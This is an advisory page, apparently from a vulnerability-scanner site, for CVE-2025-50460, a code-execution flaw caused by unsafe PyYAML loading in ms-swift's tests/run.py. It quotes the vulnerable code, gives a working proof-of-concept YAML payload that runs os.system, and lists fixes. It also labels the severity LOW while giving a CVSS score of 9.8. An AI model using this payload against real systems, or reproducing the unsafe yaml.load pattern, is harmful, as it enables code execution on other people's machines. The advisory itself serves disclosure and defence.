Skip to main content

CVE-2025-50460 — Vulnerability in ms-swift — CVE Details

LOW

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Published July 31, 2025Updated July 7, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (1.99%). Schedule for your next planned update.

Does your project use an affected ms-swift version?

Paste your requirements.txt to check it for CVE-2025-50460 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Advisory Timeline

  • First published July 31, 2025 (483 days ago).
  • Last revised July 7, 2026 — 341 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
ms-swift PyPI · Affected: 1.0.0, 1.1.0, 1.2.0, 1.2.1 (+80 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-502
    Deserialization of Untrusted DataMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-50460?
MS SWIFT Remote Code Execution via unsafe PyYAML deserialization. This vulnerability has been assigned a severity rating of LOW (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-50460?
CVE-2025-50460 affects ms-swift. It has a 2.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-50460 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
1.99%
EPSS percentile: 81.3

This places it in the top quartile of EPSS-scored vulnerabilities — 81.3% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.

Also Known As

GHSA-fm6c-f59h-7mmg
PYSEC-2026-1683

Related CVEs

  • CVE-2026-114614
    LOW

    Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts

  • CVE-2026-116578
    LOW

    Tornado: Open redirect in RedirectHandler via protocol-relative URLs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt